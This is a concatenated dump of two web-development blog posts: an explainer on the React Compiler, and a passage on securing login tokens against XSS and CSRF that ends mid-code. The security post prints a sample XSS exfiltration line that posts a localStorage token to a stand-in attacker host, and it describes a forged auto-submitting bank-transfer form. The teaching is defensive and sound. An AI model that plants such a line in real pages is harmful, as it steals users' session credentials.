# neciudan.dev — Full Content
> Concatenated content from https://neciudan.dev for AI retrieval. Generated at build time.
---
# Blog Posts
## The React Compiler
URL: https://neciudan.dev/react-compiler-explained
Published: 2026-07-11
Right now, somewhere in your codebase, a component wrapped in `React.memo` still re-renders on every keystroke.
The wrapper seems to work. The component is memoized, and callbacks are wrapped in useCallback; the author put some effort into it.
But somewhere up the tree, a parent passes an inline arrow function as a prop, or builds a fresh options object during render, or spreads props it received from its own parent.
The check inside `memo` sees a changed prop and re-renders the component every single time, exactly as if the wrapper wasn't there.
React never warns you when this happens. The app works, and the tests pass, so the broken optimization just sits there, and the costs add up quietly.
Manual memoization doesn't scale.
Meta had this problem and developed a compiler to automate memoization, eliminating the need for developers to manually fix components.
The compiler powers Instagram and the Meta Quest Store in production, and it automatically detects dependencies within your components, inserting optimal memoization into the compiled code.
This saves development time, reduces bugs, and ensures the shipped code is always the most efficient version, with zero manual memoization required in your source code.
Say hi to the React Compiler.
## What is it
The React Compiler is a build-time tool. It runs during your build and rewrites your components with memoization added.
Your build already rewrites code for you—for instance, by turning JSX into JavaScript. The React Compiler works as a Babel plugin, fitting seamlessly into this process.
And because the optimization happens in the build output, you get to write the version with none of it in your source:
```tsx
function List({ items, onSelect }) {
const handleClick = (item) => {
onSelect(item.id);
};
return (
{items.map(item => (
handleClick(item)} />
))}
);
}
```
There's no manual memoization anywhere. That means you dont have to add `useMemo`, `useCallback` or `React.memo` everywhere in your components.
The compiler analyzes which values depend on which props and state, then generates code that caches each piece and recomputes it only when its actual inputs change.
This project started at Meta under the codename React Forget, because the goal was to make you forget memoization exists.
A first public demo appeared in 2021, an experimental release followed at React Conf 2024, and version 1.0 landed on October 7, 2025.
Despite the shared timeline with React 19, the compiler is not part of the `react` package.
Installing React 19 gives you the runtime support the compiled code relies on, but the compilation itself is a separate tool you add to your build pipeline.
## What the compiled output actually looks like
Now that we know what the Compiler is and does, once you add it and run it on your codebase, you'd expect the compiler to insert `useMemo` and `useCallback` calls for you in the final result.
It doesn't because `useMemo` is complicated.
Every call allocates a closure and a fresh dependency array on every render, just to decide whether the cached value can be reused.
When you memoize five values by hand, that overhead is negligible; when a compiler memoizes nearly everything in every component, it adds up.
So the compiler generates its own caching mechanism instead. For example:
```tsx
function TodoList({ todos, tab }) {
const visibleTodos = filterTodos(todos, tab);
return
{visibleTodos.map(todo =>
{todo.text}
)}
;
}
```
Compiles to this (simplified for readability):
```js
function TodoList(t0) {
const $ = _c(5); // request 5 cache slots for this component
const { todos, tab } = t0;
let visibleTodos;
if ($[0] !== todos || $[1] !== tab) {
// an input changed, so recompute and store the result
visibleTodos = filterTodos(todos, tab);
$[0] = todos;
$[1] = tab;
$[2] = visibleTodos;
} else {
// inputs are identical, so reuse the cached value
visibleTodos = $[2];
}
// ...the same pattern repeats for the JSX itself
}
```
Here is what is happening.
First, the `t0` parameter is just your props object, renamed and destructured.
The `_c(5)` call creates an array with five slots attached to the component instance.
On each render, the code checks current and stored inputs. If they match, it reuses the cached output; otherwise, it recomputes and updates values.
The comparison uses reference equality, just as memo and dependency arrays do.
If a parent builds a new `todos` array on each render, even with identical contents, every comparison downstream fails, and each cached value gets recomputed. The compiler follows the same reference-equality rules React always has.
The generated check is an `if` statement over a few array reads, which is about as cheap as JavaScript gets, so the compiler can afford to apply it far more densely than you'd ever apply `useMemo` by hand.
The dependency tracking is also better.
When you write a `useMemo`, you decide what goes in the dependency array, and you can get it wrong; the compiler derives the dependencies from the actual data flow of the code, so the set of things it compares is exactly the set of things the computation reads.
And the compiler can memoize in places where `useMemo` is illegal.
Hooks can't be called conditionally or after an early return, so a component like this can't be memoized by hand at all:
```tsx
function FriendList({ friends }) {
if (friends.length === 0) {
return ; // early return, no hooks allowed past this point
}
const summary = buildSummary(friends); // useMemo can't help you here
return ;
}
```
The compiler doesn't care, because its cache slots aren't hooks in your code. It memoizes each branch independently, including the `` JSX inside the early return.
If you want to see this on your own components, paste them into the [React Compiler Playground](https://playground.react.dev).
## How it skips re-renders without React.memo
The walkthrough above shows values being cached, but caching a filtered array doesn't stop a child component from re-rendering.
The compiler skips re-renders through a different mechanism.
Let's start with what JSX actually is. `` is a function call that produces an element object, a plain description of what should be rendered.
Every render of the parent normally produces a fresh element object for each child.
React has a long-standing bailout rule for these objects: if a component receives the exact same element object it received last time, React skips re-rendering it, because an identical description can't produce different output.
It's the same reason the pattern of passing components as `children` avoids re-renders.
And the compiler exploits that rule systematically.
The JSX itself goes into cache slots, so when nothing an element depends on has changed, the parent's compiled code hands React the identical element object from the previous render, and React bails out of that entire subtree.
No `memo` wrapper anywhere; the parent just stops producing new descriptions.
That places the skipping in the parent's compiled output, not in the child. If you compile a leaf component but its parent stays uncompiled, the parent keeps creating fresh element objects on every render, and your compiled leaf keeps re-rendering exactly as before.
## How to turn it on
The compiler is a Babel plugin, so setup depends on your build tool and it must run first in the Babel plugin pipeline, because it needs your original, untransformed source to analyze.
### Vite
For Vite, install the plugin along with a small Babel bridge:
`bashnpm install --save-dev --save-exact babel-plugin-react-compiler@latest`
`npm install --save-dev @rolldown/plugin-babel`
```
js// vite.config.js
import { defineConfig } from 'vite';
import react, { reactCompilerPreset } from '@vitejs/plugin-react';
import babel from '@rolldown/plugin-babel';
export default defineConfig({
plugins: [
react(),
babel({
presets: [reactCompilerPreset()],
}),
],
});
```
If you're on a version of `@vitejs/plugin-react` older than 6.0, there's a shorter form: the plugin used to accept Babel plugins inline, as `react({ babel: { plugins: ['babel-plugin-react-compiler'] } })`.
Version 6.0 removed that inline option, which is why the current setup goes through a separate Babel plugin.
### Next.js
For Next.js, compiler support went stable in version 16, and enabling it is a single config flag:
```ts
// next.config.ts
import type { NextConfig } from 'next';
const nextConfig: NextConfig = {
reactCompiler: true,
};
export default nextConfig;
```
But know that Next.js normally doesn't use Babel at all.
It compiles with SWC, a Rust-based tool the Next.js team adopted precisely because it's much faster than Babel, and the React Compiler only runs through Babel today (to verify this).
So, enabling the compiler reattaches Babel to a pipeline built to avoid it, and your dev and production builds get slower.
Next.js softens this with a pre-pass that detects which files actually contain JSX or hooks and only runs the compiler on those.
An official SWC plugin for the compiler is in progress.
### Expo
The React team has said plainly that they expect the compiler to become the default way React code is built, and the ecosystem is rolling toward that in stages.
Expo went first. New apps created with SDK 54 or later ship with the compiler enabled in the default template, so every new Expo app is compiled from the first `npx expo start`. You can press J in the Expo CLI to open the components panel and see which components were memoized.
## Which React versions does it work with
The compiled output needs that `_c` cache hook at runtime, and the hook ships inside React 19.
So by default, the compiler targets React 19.
You're not locked out on older versions, though. The compiler officially supports React 17 and 18 through a small runtime package that you install as a regular dependency:
```bash
npm install react-compiler-runtime@latest
```
Then you tell the compiler which React version to generate code for:
```js
// babel.config.js
module.exports = {
plugins: [
['babel-plugin-react-compiler', { target: '18' }], // '17' | '18' | '19'
],
};
```
The mechanism behind the `target` option is simple. With `target: '19'`, the generated code imports the cache hook from `react/compiler-runtime`, which is built into React itself.
With `target: '17'` or `'18'`, it imports from the standalone `react-compiler-runtime` package instead, which provides an implementation of the same hook built on APIs that exist in your React version.
So a team stuck on React 18 because of one dependency they can't upgrade still gets automatic memoization today.
When they eventually move to 19, they change the target, drop the runtime package, and the output switches to the built-in implementation.
The standalone runtime is a polyfill, though, and it behaves slightly differently from React 19's built-in implementation. It may not retain cached values in all the same circumstances, so treat it as a bridge to React 19.
Class components are a no-no though. The compiler only optimizes function components and hooks, so class components pass through the build untouched; they keep working, but they just gain nothing.
## What happens to your existing useMemo and useCallback
Everyone asks this.
First thing first for new code: stop writing them, and stop wrapping components in `React.memo` while you're at it.
The compiler's memoization covers what all three APIs did.
For existing code: leave it alone, at least initially.
You might be inspired to create a giant pull request deleting every `useMemo` in the codebase, and while this might be satisfing the React docs specifically recommend against it.
If a memoized value is in a `useEffect` dependency array, its reference stability determines when that effect fires.
Removing the `useMemo` changes the compilation output, and if the compiler draws its memoization boundaries slightly differently than you did in that spot, the effect can start firing more or less often than before.
The same risk exists in the other direction, on the day you first enable the compiler. An effect whose dependency used to be a fresh object on every render was re-firing on every render, and if the compiler stabilizes that reference, the effect suddenly stops re-firing.
If some behavior quietly depended on that constant re-firing, it stops too.
This is also the real justification behind the `--save-exact` flag we used earlier. Memoization boundaries can shift between compiler versions, so you want end-to-end tests standing between a compiler upgrade and production.
Your existing hooks don't get silently discarded either. The compiler only compiles a component when its own inference matches or exceeds the memoization you wrote by hand, and when it can't prove that, it skips the component entirely rather than ship weaker memoization than you asked for (the `preserve-manual-memoization` lint rule flags exactly these cases).
The redundant hooks that do get compiled cost almost nothing at runtime, so there's no urgency; you can clean them up gradually, with tests, once the compiler has been running for a while.
Some manual memoization you'll keep forever, as an escape hatch.
Take the code below and imagine it without the `useMemo`. The `options` object gets created fresh on every render, so the effect's dependency changes on every render, so the effect tears down and re-runs on every render, and with a real subscription behind it, that means disconnecting and reconnecting every time the user types a character:
```tsx
// The effect must only re-run when the query meaningfully changes,
// so we pin the reference by hand rather than relying on the
// compiler's boundaries, which may shift between versions.
const options = useMemo(() => ({ query, page }), [query, page]);
useEffect(function syncSearchSubscription() {
const sub = subscribeToSearch(options);
return () => sub.unsubscribe();
}, [options]);
```
The other case is third-party code that holds references to your functions. A chart library that registers an `onClick` handler once at initialization, a DOM API, a non-React SDK; those systems live outside the compiler's view, so when reference identity is part of a contract with the outside world, keep the `useCallback`.
React 19.2 shrinks even this category further with `useEffectEvent`, a hook for the case where an effect reads a value but shouldn't re-run when that value changes.
## When the compiler skips your component
The compiler can only memoize code it can prove is safe to memoize, and the proof depends on your code following the Rules of React:
- components stay pure during render
- props and state don't get mutated
- hooks get called unconditionally.
When a component breaks those rules in a way the compiler can detect, it doesn't try to repair your code, and it doesn't break it either.
It skips the component entirely and leaves it exactly as you wrote it.
You can see which components made it through in the Components tab of React DevTools, where compiled components get a small "Memo ✨" badge.
A component missing the badge is a component the compiler gave up on.
That usually means a rule violation, though it can also mean manual memoization; the compiler couldn't prove it matches.
The lint rules from `eslint-plugin-react-hooks` will tell you which one you're looking at.
The badge works in development because the compiler runs wherever the Babel plugin runs, including your dev server. So the compiled behavior is what you're already profiling locally, rather than something that only appears in a production build.
Before enabling anything, you can also run `npx react-compiler-healthcheck` on your project.
It scans the codebase and reports how many components can be compiled successfully.
If you enable the compiler globally and one component misbehaves, you opt that one out while you investigate:
```tsx
function LegacyDataGrid() {
'use no memo';
// skipped by the compiler entirely
}
```
If you'd rather migrate component by component, you set `compilationMode: 'annotation'` in the compiler config and opt components in instead:
```tsx
function ProductList() {
'use memo';
// only annotated functions get compiled
}
```
For production rollouts of apps with real traffic, there's a third option.
The compiler's `gating` config makes it emit two versions of each compiled function, the optimized one and the original, and switch between them at runtime based on a feature flag function you provide.
That turns the compiler into something you can canary: ship both versions, enable the flag for 5% of users, watch your error rates and metrics, and ramp up as you gain more confidence.
## What it doesn't do
A few boundaries to keep in mind:
**The cache is per component.** If five components each call `processHugeDataset(data)` with the same data, that function runs five times, once per component, each result cached separately.
The compiler will not hoist shared work into a shared cache, so cross-component caching is still your job, whether that means lifting the computation up, putting it in context, or letting TanStack Query hold it.
**It only compiles your code.** Everything in `node_modules` passes through untouched, because the compiler needs original source and your dependencies ship transformed output.
If a library wants to ship compiled components, the library author has to run the compiler before publishing.
**It can't stabilize what it can't see.** If a third-party hook returns a fresh object on every call, the compiler receives an unstable reference, and you already know from the cache mechanism what happens next: the reference check fails on every render, and every cached value depending on it recomputes.
Your components get optimized, but instability flowing in from outside them does not.
**Server Components gain almost nothing.** A Server Component renders on the server and never re-renders on the client, and memoization is a tool for skipping re-renders, so there's nothing there for the compiler to speed up.
**It does nothing for the problems that dominate most slow apps.** Network waterfalls, oversized bundles, slow servers, fetching in effects: the compiler makes re-renders cheaper, and if your app is slow for any other reason, it will be exactly as slow with the compiler on.
**It does not work with Class Components**. It skips them, like I mentioned before.
## The numbers
Meta shipped the compiler on the Meta Quest Store and measured initial loads and cross-page navigations improving by up to 12%, with certain interactions more than 2.5x faster and memory usage staying neutral.
Sanity precompiled their Studio packages and reported a 20-30% reduction in overall render time and latency, with 1,231 of their 1,411 components compiling successfully on the first pass.
Wakelet rolled the compiler out to 100% of users and measured two Web Vitals:
- LCP, the time until the main content is visible on screen, improved by about 10% (2.6s down to 2.4s).
- INP, the gap between a user interaction and the screen's response, improved by about 15% (275ms down to 240ms), and on pure-React surfaces like dropdowns, the interaction speedup was closer to 30%.
Your numbers will depend on how much unnecessary re-rendering your app was doing in the first place.
## Where this leaves you
For a new project, enable the compiler on day one and write components without thinking about memoization.
Expo already made that decision for you, and in Vite or Next.js, it's just one config block.
For an existing project, run the healthcheck, upgrade `eslint-plugin-react-hooks` to v6 or later, and fix what the linter flags.
Then enable the compiler on whole subtrees rather than individual components, profile an interactive page before and after, and leave your existing `useMemo` calls in place until you can remove them slowly, with tests.
In React 19.2, the profiling part got easier too: React now ships Performance Tracks directly in the Chrome DevTools profiler, with a Scheduler track and a Components track that show exactly which components rendered and when.
Turn it on.
## References
- [React Compiler v1.0](https://react.dev/blog/2025/10/07/react-compiler-1) - React blog, the stable release announcement
- [React Compiler: Introduction](https://react.dev/learn/react-compiler/introduction) - React docs
- [Introducing React Compiler](https://github.com/reactwg/react-compiler/discussions/5) - React Working Group, on how the compiled output works
- [Using the compiler on < React 19](https://github.com/reactwg/react-compiler/discussions/6) - React Working Group, on the `_c` cache hook and the runtime package
- [React Compiler Playground](https://playground.react.dev) - paste your components, see the output
- [Next.js: reactCompiler](https://nextjs.org/docs/app/api-reference/config/next-config-js/reactCompiler) - Next.js docs
- [Next.js 16](https://nextjs.org/blog/next-16) - stable compiler support announcement
- [Expo: React Compiler](https://docs.expo.dev/guides/react-compiler/) - Expo docs, enabled by default in SDK 54+
- [React Compiler Beta Release](https://react.dev/blog/2024/10/21/react-compiler-beta-release) - React blog, where React 17/18 support landed
- [React Compiler: Incremental Adoption](https://react.dev/learn/react-compiler/incremental-adoption) - React docs, directives, annotation mode, and runtime gating
- [preserve-manual-memoization](https://react.dev/reference/eslint-plugin-react-hooks/lints/preserve-manual-memoization) - React docs, how the compiler treats existing useMemo/useCallback as a floor
- [Meta's React Compiler 1.0 Brings Automatic Memoization to Production](https://www.infoq.com/news/2025/12/react-compiler-meta/) - InfoQ, with the Sanity and Wakelet case study numbers
- [I tried React Compiler today, and guess what...](https://www.developerway.com/posts/i-tried-react-compiler) - Nadia Makarevich, on the compiler's limits with unstable third-party references
---
## What's the best way to do authentication in modern applications
URL: https://neciudan.dev/most-secure-way-to-store-auth-token
Published: 2026-07-04
Ask ten frontend developers where to store a login token, and you'll get four answers and an argument.
And because each approach addresses different concerns, the debates continue without resolution.
So let's clarify once and for all: What are the options to store a token, which are the most secure and what are the use cases.
I go much deeper on XSS and CSRF in my [FREE frontend security course](https://neciudan.dev/master-security), but I wanted to tackle auth on its own.
## The basics
I've written this, you might have too. Every "build a full-stack app in an afternoon" article and tutorial has written this.
The user submits a login form; the server checks the password and returns a token. You put it in localStorage and attach it to every request from then on:
```tsx
async function login(email: string, password: string) {
const res = await fetch('/api/login', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ email, password }),
});
const { token } = await res.json();
localStorage.setItem('token', token);
}
async function fetchProfile() {
const res = await fetch('/api/me', {
headers: {
Authorization: `Bearer ${localStorage.getItem('token')}`,
},
});
return res.json();
}
```
That token is almost always a JWT.
A JWT (JSON Web Token) is a string in three parts, separated by dots: a header, a payload, and a signature. The payload contains facts about the user, such as their ID and maybe their role.
The signature is a stamp that proves your server produced this exact payload and that no one tampered with it.
The trick that made JWTs popular is what the server does when it receives the token. It re-computes the stamp, checks it matches, and then trusts the payload without looking anything up.
The user's ID is *inside* the token, cryptographically vouched for, so there's no database row to read to get the userID or to verify the user.
People call this "stateless".
And to be fair to the tutorials, this works.
It survives refreshes because localStorage persists, and it sidesteps every cookie headache.
The `Authorization: Bearer` header also travels across domains cleanly, so an app on one domain can call an API on another without much thought.
JWT works, but the code we wrote has exactly one problem: where we stored the JWT.
## What XSS does to that token
localStorage has one defining trait: any JavaScript on your page can read all of it.
Whose JavaScript runs on your page?
Yours, sure. But also every npm package you installed, and every package *those* packages pulled in. Your analytics snippet. Your support chat widget. Anything a browser extension decides to inject.
And, the day it happens, an attacker's.
That last one is XSS. Cross-site scripting means an attacker has gotten their code to run on your page. Usually through something dull: a comment field that renders user text as HTML without escaping it, a URL parameter reflected straight into the DOM, or a dependency that shipped malicious code in a patch release.
When that happens, the token is one line from gone:
```tsx
fetch('https://attacker.example/collect', {
method: 'POST',
body: localStorage.getItem('token'),
});
```
The attacker now has your bearer token, and "bearer" is literal (It does not come from the show The Bear): whoever bears it *is* you. The server checks the stamp, sees a valid payload, and says hello.
They no longer need your browser. They don't need your tab open. They paste that string into a script on their own machine, and your API treats them as you, from anywhere on earth, until the token expires (mostly).
If you signed that token with a 7-day expiry, as plenty of tutorials do, that's a 7-day skeleton key.
You can't cancel it, because the whole point of "stateless" was that the server checks nothing.
Everything the attacker does next happens on their infrastructure, on their schedule, completely invisible to you.
## "If they can run JS, you're already dead"
A common saying is that if an attacker can run JavaScript on your page, they can already do anything.
Read everything on screen, fire requests from the user's browser, ride whatever credentials the browser attaches. Hiding the token changes nothing.
The first half is true. Protecting the token does **not** stop XSS. Anyone who tells you an HTTP-only cookie "prevents XSS" is confused or selling something.
But look at what the attacker is limited to in each case, because they are not the same case.
If the attacker can **read** the token, they take it home. The attack keeps working after the tab closes, from their own machine, at their own pace, for the full lifetime of the token.
If the attacker **cannot** read the token, they can only ride the live session.
Their script fires requests from inside the victim's browser while that tab is open, and every one of those requests lands on your server, where your rate limits, logging, and fraud checks live.
One is a stolen key. The other is a burglar who can only act while standing inside your house, in front of your cameras, and only until the owner walks out.
You'd obviously rather have neither, but XSS bugs ship eventually.
The realistic goal is to reduce how often XSS bugs ship and to shrink what they can do when it happens.
Security folks call it reducing the blast radius, so let's set our goal: get the token to a location where JavaScript can't read it.
## Attempt two: hold it in memory
First instinct: skip storage entirely, keep the token in a plain variable.
```tsx
let accessToken: string | null = null;
async function login(email: string, password: string) {
const res = await fetch('/api/login', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ email, password }),
});
const { token } = await res.json();
accessToken = token; // lives in memory, never written to disk
}
```
A plain variable like that (it lives in the module's scope, not on any object an attacker can list) is meaningfully harder to grab than localStorage. LocalStorage is a public bulletin board that an attacker can enumerate key by key.
A loose variable is at least something they have to know exists and can name.
Harder, though, isn't safe. The attacker's code runs in the *same JavaScript world* as yours.
It can replace `window.fetch` with its own version, wait for your app to attach the `Authorization` header, and copy the token as it flies past.
And you paid a steep price for that narrowing. If your user refreshes the page, and the JavaScript world is rebuilt from nothing.
Your variable is gone and the user is logged out.
Open a second tab, and it has its own memory, its own empty `accessToken`, and no idea the first tab exists. Logged out there too.
Nobody ships an app that logs you out on every refresh, so what you can add is to use a second, longer-lived credential whose only job is to silently mint new access tokens.
It's called a refresh token. But then where does the refresh token live?
Put it in localStorage, and we're back to square one. The attacker grabs the refresh token instead and mints fresh access tokens forever.
We walked in a circle.
JavaScript-reachable storage cannot safely hold a long-lived credential.
We need a spot in the browser that JavaScript flat-out cannot reach.
## Attempt three: the httpOnly cookie
Cookies have a bad reputation, mostly because the only time normies meet them is in a consent banner. Underneath the banner nonsense, a cookie is a small value the server asks the browser to store and then automatically attaches to every request sent back to that server.
The server sets one with a response header, and we can protect it with a couple of extra flags:
```
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Lax; Path=/
```
Each flag tightens security.
`HttpOnly` tells the browser: never hand this cookie to JavaScript. `document.cookie` won't show it. No script can read it, including the attacker's script mid-XSS. The browser attaches it to outgoing requests, and that is the *only* thing that can ever happen to it.
`Secure` says only send it over HTTPS, so it never crosses a coffee-shop network in plain text.
`SameSite=Lax` means don't attach this cookie when the request comes from a different site( with one exception we'll hit in a second).
By using this your frontend actually gets *simpler*, which is a pleasant surprise.
There's no token to manage, so login is just a request, and later requests only need to opt into sending credentials:
```tsx
async function login(email: string, password: string) {
await fetch('/api/login', {
method: 'POST',
credentials: 'include', // browser handles the cookie from here
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ email, password }),
});
// Nothing in the response body to store. There's no token in our code at all.
}
async function fetchProfile() {
const res = await fetch('/api/me', { credentials: 'include' });
return res.json();
}
```
But `httpOnly` stops **exfiltration**, not **abuse**.
During an XSS attack, the attacker can absolutely still do damage by making requests in place; they just can't walk off with the credentials and use them next Tuesday from their laptop.
## CSRF
You're logged into your bank. The session cookie sits in your browser.
In another tab, you open a sketchy coupon site, and its page quietly contains this:
```html
```
The form auto-submits on page load. The request goes to your bank, and the browser sees a request bound for `bank.example`, checks its jar for cookies for that site, finds your session cookie, and attaches it.
Because that's the deal with cookies. They ride along automatically.
Your bank receives a request that appears to be your real session, as if you clicked "transfer." The money is gone.
That's CSRF, cross-site request forgery: a foreign page tricking your browser into sending an authenticated request you never meant to send.
Notice the old localStorage version was immune to this.
A foreign site can't read your localStorage, so it could never build that `Authorization` header.
Switching to cookies traded the exfiltration problem for the forgery problem.
The good news: forgery is a mostly solved problem, with a well-documented stack of defenses.
**The primary defense is a CSRF token.** The server plants an unpredictable value in your page, and every state-changing request has to send that value back.
The forged form on the coupon site can't read your page (the same-origin policy stops it), so it can never know the value, so its request fails the check.
The common pattern for an API-driven app is "double submit": the server sets the token as a readable cookie, and your frontend copies it into a header on each mutating request.
The server accepts the request only if the cookie and the header match.
```tsx
// The token is in a readable (not HTTP-only) cookie set by the server.
function getCsrfToken() {
return document.cookie
.split('; ')
.find((c) => c.startsWith('csrf_token='))
?.split('=')[1];
}
async function post(path: string, body: unknown) {
return fetch(path, {
method: 'POST',
credentials: 'include',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': getCsrfToken() ?? '', // echo it back in a header
},
body: JSON.stringify(body),
});
}
```
The attacker's forged form can set cookies going out, but it cannot set that header, because the browser only lets *your* JavaScript, running on *your* origin, add custom headers to a request.
**Second line of defense: SameSite.** `SameSite=Lax` (or `Strict`) tells the browser not to attach the cookie on cross-site requests, which blocks that hidden coupon-site form.
Dont let this be your only line of defense, though, because it has two problems.
The first problem is Lax's exception for top-level GET navigations. When a user clicks a link to your site, Lax *does* send the cookie, which is what lets an emailed dashboard link land a user logged in.
Then we need to make sure: **GET requests must never change data.** If a GET can transfer money, Lax forges it happily, and so does an attacker using a framework's "method override" to disguise a GET as a POST.
The second problem is the word "site." `SameSite` guards *same-site*, not *same-origin*, and those are different things. `app.example.com` and `payments.example.com` are the same *site*, so SameSite does nothing between your own subdomains.
**Third lin of defense: check where the request came from.** Browsers stamp requests with headers the sending page can't forge, `Origin` and the newer `Sec-Fetch-Site`.
Your server reads them and drops anything that isn't same-origin on a mutating route:
```ts
// Express middleware, ahead of any mutating route
app.use((req, res, next) => {
if (['POST', 'PUT', 'PATCH', 'DELETE'].includes(req.method)) {
const site = req.get('Sec-Fetch-Site');
if (site && site !== 'same-origin') {
return res.status(403).json({ error: 'cross-site request rejected' });
}
}
next();
});
```
So CSRF token first, then SameSite, and finally origin checks.
There's also another trick you can use: the `__Host-` prefix.
Name your session cookie `__Host-session,` and the browser refuses to accept it unless it's `Secure`, has no `Domain` attribute (so it's locked to the exact host, no subdomains), and has `Path=/`.
It's a free security improvement, and with only one cookie rename, OWASP calls the `__Host-` prefixed cookie the most secure configuration there is.
```
Set-Cookie: __Host-session=abc123; HttpOnly; Secure; SameSite=Lax; Path=/
```
## Sessions vs JWTs
So far, we compared localStorage vs. cookies and concluded that a cookie with the three CSRF guardrails is the most secure.
Then, should we just store the JWT in the cookies?
Look back at the last code example. I called it `session=abc123`, not `token=eyJhbGciOi...`.
The JWT earned its spot by being stateless.
But statelessness has a dark side that only shows up when something goes wrong. A JWT is valid until it expires, and there is no way to undo it.
The user hits "log out"? The token in their hand is still valid.
The user changes their password after a scary email? Old tokens still work.
You ban an account for abuse? That account's token keeps working until the expiry you picked passes.
You have to mitigate this with a server-side list of revoked tokens you check on every request.
Read that back slowly: a list, on the server, checked every request.
You've rebuilt server-side sessions, except with larger tokens.
So the boring 2005 design wins. The cookie holds a long random string that means nothing on its own, and the server keeps a row matching that string to a user:
```ts
app.post('/api/login', async (req, res) => {
const user = await verifyPassword(req.body.email, req.body.password);
const sessionId = crypto.randomBytes(32).toString('hex'); // opaque, meaningless
await db.sessions.create({ id: sessionId, userId: user.id });
res.cookie('__Host-session', sessionId, {
httpOnly: true,
secure: true,
sameSite: 'lax',
path: '/',
});
res.json({ ok: true });
});
```
One important tip here: issue a brand-new session ID at login, and never reuse one the client handed you. If you keep whatever session ID was already in the browser, an attacker can plant a known ID before login and inherit the session afterward (this is called session fixation).
The same move applies any time the session gains power, not just at login. Passing a 2FA check, elevating to admin, stepping into an area that needed re-auth, reset password etc: generate a fresh ID at each of those.
Login is only a third of it, though; something has to turn that cookie back into "this is Jane" on every subsequent request:
```ts
// Runs before your routes. Reads the cookie, finds the user, or leaves it null.
app.use(async (req, res, next) => {
const sessionId = req.cookies['__Host-session'];
const session = sessionId ? await db.sessions.get(sessionId) : null;
// Attach the user to the request so every route below can see it
req.user = session ? await db.users.get(session.userId) : null;
next();
});
// A protected route now reads req.user and trusts it, because the
// middleware already did the work.
app.get('/api/orders', async (req, res) => {
if (!req.user) return res.status(401).json({ error: 'not logged in' });
res.json(await db.orders.findByUser(req.user.id));
});
```
This design beats the stateless JWT for a single app. The user's current role, whether they're banned, whether they just got downgraded from admin ten seconds ago, all of it is fresh on every request, because you're reading it live instead of trusting a claim a token baked in an hour ago.
Logout, which I keep saying is "just deleting the row," is exactly that:
```ts
app.post('/api/logout', async (req, res) => {
const sessionId = req.cookies['__Host-session'];
if (sessionId) await db.sessions.delete(sessionId); // the session is now gone, server-side
res.clearCookie('__Host-session');
res.json({ ok: true });
});
```
The session dies the instant that row is deleted, everywhere and on every device, with no waiting for a token to expire.
The database-lookup JWTs you're promised save you a sub-millisecond hit on an indexed table, or a Redis read if you're chasing microseconds.
For one backend serving one frontend, statelessness solved a scaling problem you didn't have and created a revocation problem you didn't want.
## Where JWTs work
I don't want to leave you thinking JWTs are bad.
JWTs shine wherever verifying a token is better than sharing a database. Your API gateway calls an internal billing service, which calls a notifications service (In an internal Kubernetics network with thousands of microservices).
A short-lived JWT rides along, and each service checks the user's identity locally rather than all three hammering a single session store.
Single sign-on runs on the same idea. Click "Sign in with Google," and Google hands your app a JWT that asserts "yes, this is really this person." Your app reads it once, starts *its own* session, and throws the JWT away.
## OAuth
Speaking about about "Sign in with Google".
When your app talks to an OAuth provider, you don't get to pick the token format. You receive an access token and a refresh token.
The access token lives in memory, exactly like attempt two with our variable.
It's short-lived, five to fifteen minutes, so the worst case for an attacker who snags one is a fifteen-minute window before it's useless.
The refresh token lives in an httpOnly cookie, scoped by `path,` so the browser only ever sends it to the one endpoint that generates new access tokens:
```ts
res.cookie('refresh_token', refreshToken, {
httpOnly: true,
secure: true,
sameSite: 'strict',
path: '/api/refresh', // sent here and nowhere else
});
```
Notice that this cookie can't use the `__Host-` prefix we used for the session cookie, because that prefix requires `Path=/`, whereas here we're deliberately narrowing the path.
Now the refresh cycle fixes some of our previous problems with in-memory storage. Page refresh wipes your in-memory access token, so on load, your app quietly calls `/api/refresh`.
The browser attaches the cookie, the server returns a fresh access token, and the user never sees a login screen.
One more mechanism that makes this resilient is **rotation**.
Every time a refresh token is used, the server invalidates it and hands back a new one. Refresh tokens become single-use links in a chain, and the server remembers which chain each token belongs to.
Now watch a theft play out.
An attacker steals refresh token #4 and uses it. They get #5. They're in.
But your real app still holds #4, and on its next scheduled refresh (after the 15' window), it presents #4, a token the server has already seen consumed.
A single-use token showing up a second time is impossible in normal operation. It is a signature of theft.
The server responds by burning the entire chain, including the attacker's shiny #5, and forcing a fresh login.
The stolen credential defuses itself.
(Small side note: two tabs refreshing at the same millisecond can trip that same alarm and log a legitimate user out. Real implementations add a small grace period during which the just-rotated token is still accepted, so honest concurrency doesn't read as an attack. If you turn on rotation and start getting mystery logout reports, this is almost always why.)
Auth0, Okta, and every serious provider run rotation with reuse detection by default, and RFC 9700, the current OAuth security best practice from early 2025, requires rotation or an equivalent for browser clients.
This split pattern is genuinely good, and it's also the best you can do while tokens still touch the browser.
### Wiring this into actual React
Everything so far has been login functions and cookie flags. If you're a React developer, you're probably wondering where any of this touches a component.
You never want components sprinkling `Authorization` headers everywhere. You want one wrapper around `fetch` that attaches the access token, and, when the token has expired, transparently refreshes it and retries.
Components just call `api()` and stay ignorant of everything else.
```tsx
let accessToken: string | null = null;
async function api(path: string, options: RequestInit = {}) {
const res = await fetch(path, {
...options,
headers: { ...options.headers, Authorization: `Bearer ${accessToken}` },
});
if (res.status === 401) {
// token expired, refresh and retry
const refresh = await fetch('/api/refresh', { credentials: 'include' });
accessToken = (await refresh.json()).token;
return fetch(path, {
...options,
headers: { ...options.headers, Authorization: `Bearer ${accessToken}` },
});
}
return res;
}
```
The problem with this shows up under heavy load.
Your dashboard mounts and fires five requests at once. The access token has expired, so all five return 401 at roughly the same time. All five call `/api/refresh`.
If you turned on refresh token rotation from earlier, the first refresh rotates the token, and the other four are now presenting a token that the server just retired.
Reuse detected. The server burns the chain and logs your user out for the crime of loading a page.
So you need the refreshes to collapse into one.
The trick is to store the in-flight refresh *promise*, not just fire a request. Everyone who arrives while a refresh is running awaits the same promise:
```tsx
let accessToken: string | null = null;
let refreshing: Promise | null = null;
function refreshAccessToken() {
// If a refresh is already in flight, everyone waits on that same one.
if (!refreshing) {
refreshing = fetch('/api/refresh', { credentials: 'include' })
.then((res) => {
// Refresh itself can fail: the refresh token expired, or the rotation
